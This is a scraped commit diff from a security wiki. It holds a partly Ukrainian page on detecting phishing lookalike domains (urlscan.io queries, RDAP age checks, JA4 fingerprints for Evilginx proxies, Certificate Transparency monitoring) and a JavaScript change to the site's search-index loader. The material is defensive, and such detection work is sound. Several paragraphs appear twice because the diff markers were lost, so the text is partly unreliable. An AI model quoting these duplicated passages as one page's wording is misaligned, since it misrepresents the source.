- Знайти сайти, що роблять hotlinking ваших assets: `domain:yourbrand.com AND NOT page.domain:yourbrand.com`
|
||||
- Обмежити до нещодавніх результатів: додайте `AND date:>now-7d`
|
||||
|
||||
Приклад API:
|
||||
```bash
|
||||
# Search recent scans mentioning your brand
|
||||
curl -s 'https://urlscan.io/api/v1/search/?q=page.domain:(/.*yourbrand.*/%20AND%20NOT%20yourbrand.com)%20AND%20date:>now-7d' \
|
||||
-H 'API-Key: <YOUR_URLSCAN_KEY>' | jq '.results[].page.url'
|
||||
```
|
||||
У JSON орієнтуйтеся на:
|
||||
- `page.tlsIssuer`, `page.tlsValidFrom`, `page.tlsAgeDays` щоб виявляти дуже нові certs для lookalikes
|
||||
- значення `task.source`, як-от `certstream-suspicious`, щоб пов'язувати знахідки з моніторингом CT
|
||||
|
||||
### Вік домену через RDAP (скриптовано)
|
||||
|
||||
RDAP повертає машинозчитувані події створення. Корисно для позначення **ново зареєстрованих доменів (NRDs)**.
|
||||
```bash
|
||||
# .com/.net RDAP (Verisign)
|
||||
curl -s https://rdap.verisign.com/com/v1/domain/suspicious-example.com | \
|
||||
jq -r '.events[] | select(.eventAction=="registration") | .eventDate'
|
||||
|
||||
# Generic helper using rdap.net redirector
|
||||
curl -s https://www.rdap.net/domain/suspicious-example.com | jq
|
||||
```
|
||||
Збагачуйте свій pipeline, позначаючи domains за віком реєстрації (наприклад, <7 днів, <30 днів) і відповідно пріоритезуйте triage.
|
||||
|
||||
### TLS/JAx fingerprints для виявлення AiTM-інфраструктури
|
||||
|
||||
Сучасний credential-phishing все частіше використовує **Adversary-in-the-Middle (AiTM)** reverse proxies (наприклад, Evilginx) для викрадення session tokens. Ви можете додати мережеві детекції:
|
||||
|
||||
- Логуйте TLS/HTTP fingerprints (JA3/JA4/JA4S/JA4H) на egress. Деякі збірки Evilginx спостерігалися зі стабільними JA4 client/server значеннями. Викликайте оповіщення по відомо-шкідливих fingerprints лише як слабкий сигнал і завжди підтверджуйте контентом та domain intel.
|
||||
- Проактивно зберігайте метадані TLS certificate (issuer, SAN count, wildcard use, validity) для lookalike hosts, виявлених через CT або urlscan, і корелюйте з DNS age та геолокацією.
|
||||
|
||||
> Note: Treat fingerprints as enrichment, not as sole blockers; frameworks evolve and may randomise or obfuscate.
|
||||
|
||||
### Domain names using keywords
|
||||
|
||||
Батьківська сторінка також згадує техніку варіації domain name, яка полягає в розміщенні **домену жертви всередині більшого домену** (наприклад, paypal-financial.com для paypal.com).
|
||||
|
||||
#### Certificate Transparency
|
||||
|
||||
Не завжди можливо застосувати попередній підхід "Brute-Force", але насправді **можна виявити такі phishing-спроби** також завдяки Certificate Transparency. Кожного разу, коли сертифікат випускається CA, деталі стають публічними. Це означає, що читаючи Certificate Transparency або навіть моніторячи його, **можна знайти домени, які використовують ключове слово у своєму імені**. Наприклад, якщо атакувальник згенерує сертифікат для [https://paypal-financial.com](https://paypal-financial.com), переглянувши сертифікат, можна знайти ключове слово "paypal" і з'ясувати, що використовується підозрілий email.
|
||||
|
||||
The post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) suggests that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt":
|
||||
|
||||
.png>)
|
||||
|
||||
Однак ви можете зробити "те ж саме", використовуючи безкоштовний веб [**crt.sh**](https://crt.sh). Ви можете **шукати за ключовим словом** і **фільтрувати** результати **за датою та ЦС**, якщо бажаєте.
|
||||
Однак те ж саме можна зробити через безкоштовний веб [**crt.sh**](https://crt.sh). Ви можете **шукати ключове слово** та **фільтрувати** результати **за датою та CA**, якщо бажаєте.
|
||||
|
||||
.png>)
|
||||
|
||||
Використовуючи цю останню опцію, ви навіть можете використовувати поле Matching Identities, щоб перевірити, чи збігається якась особа з реального домену з будь-яким з підозрілих доменів (зверніть увагу, що підозрілий домен може бути хибнопозитивним).
|
||||
Використовуючи останній варіант, ви навіть можете скористатися полем Matching Identities, щоб перевірити, чи співпадає якась identity реального домену з будь-яким із підозрілих доменів (зауважте, що підозрілий домен може бути false positive).
|
||||
|
||||
**Ще одна альтернатива** - це фантастичний проект під назвою [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream надає потік нових сертифікатів у реальному часі, який ви можете використовувати для виявлення вказаних ключових слів у (майже) реальному часі. Насправді існує проект під назвою [**phishing_catcher**](https://github.com/x0rz/phishing_catcher), який робить саме це.
|
||||
**Another alternative** — чудовий проект [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream надає потокову передачу в реальному часі новостворених сертифікатів, яку можна використовувати для виявлення заданих ключових слів у (майже) реальному часі. Насправді є проект [**phishing_catcher**](https://github.com/x0rz/phishing_catcher), який робить саме це.
|
||||
|
||||
### **Нові домени**
|
||||
Практична порада: при triage CT hits пріоритезуйте NRDs, untrusted/unknown registrars, privacy-proxy WHOIS та сертифікати з дуже недавніми `NotBefore` часами. Підтримуйте allowlist ваших власних доменів/брендів, щоб зменшити шум.
|
||||
|
||||
**Остання альтернатива** - зібрати список **новостворених доменів** для деяких TLD ([Whoxy](https://www.whoxy.com/newly-registered-domains/) надає таку послугу) і **перевірити ключові слова в цих доменах**. Однак довгі домени зазвичай використовують один або кілька піддоменів, тому ключове слово не з'явиться всередині FLD, і ви не зможете знайти підозрілий піддомен.
|
||||
#### **New domains**
|
||||
|
||||
**One last alternative** — зібрати список **newly registered domains** для деяких TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) надає таку послугу) і **перевіряти ключові слова в цих доменах**. Проте довгі домени зазвичай використовують один або більше субдоменів, тому ключове слово не з'явиться всередині FLD і ви не зможете знайти phishing subdomain.
|
||||
|
||||
Додаткова евристика: ставтеся з підвищеною підозрою до певних **file-extension TLDs** (наприклад, `.zip`, `.mov`) при формуванні оповіщень. Їх часто плутають з іменами файлів у приманках; поєднуйте сигнал TLD з бренд-ключовими словами та NRD age для кращої точності.
|
||||
|
||||
## References
|
||||
|
||||
- urlscan.io – Search API reference: https://urlscan.io/docs/search/
|
||||
- APNIC Blog – JA4+ network fingerprinting (includes Evilginx example): https://blog.apnic.net/2023/11/22/ja4-network-fingerprinting/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -24,13 +24,15 @@
|
||||
/* 2 — load a single index (remote → local) */
|
||||
async function loadIndex(remote, local, isCloud=false){
|
||||
let rawLoaded = false;
|
||||
try {
|
||||
const r = await fetch(remote,{mode:'cors'});
|
||||
if (!r.ok) throw new Error('HTTP '+r.status);
|
||||
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
|
||||
rawLoaded = true;
|
||||
} catch(e){ console.warn('remote',remote,'failed →',e); }
|
||||
if(!rawLoaded){
|
||||
if(remote){
|
||||
try {
|
||||
const r = await fetch(remote,{mode:'cors'});
|
||||
if (!r.ok) throw new Error('HTTP '+r.status);
|
||||
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
|
||||
rawLoaded = true;
|
||||
} catch(e){ console.warn('remote',remote,'failed →',e); }
|
||||
}
|
||||
if(!rawLoaded && local){
|
||||
try { importScripts(abs(local)); rawLoaded = true; }
|
||||
catch(e){ console.error('local',local,'failed →',e); }
|
||||
}
|
||||
@ -40,13 +42,41 @@
|
||||
return data;
|
||||
}
|
||||
|
||||
async function loadWithFallback(remotes, local, isCloud=false){
|
||||
if(remotes.length){
|
||||
const [primary, ...secondary] = remotes;
|
||||
const primaryData = await loadIndex(primary, null, isCloud);
|
||||
if(primaryData) return primaryData;
|
||||
|
||||
if(local){
|
||||
const localData = await loadIndex(null, local, isCloud);
|
||||
if(localData) return localData;
|
||||
}
|
||||
|
||||
for (const remote of secondary){
|
||||
const data = await loadIndex(remote, null, isCloud);
|
||||
if(data) return data;
|
||||
}
|
||||
}
|
||||
|
||||
return local ? loadIndex(null, local, isCloud) : null;
|
||||
}
|
||||
|
||||
(async () => {
|
||||
const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js';
|
||||
const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js';
|
||||
const htmlLang = (document.documentElement.lang || 'en').toLowerCase();
|
||||
const lang = htmlLang.split('-')[0];
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadIndex(MAIN_RAW , '/searchindex.js', false); if(main) indices.push(main);
|
||||
const cloud= await loadIndex(CLOUD_RAW, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud);
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud);
|
||||
|
||||
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user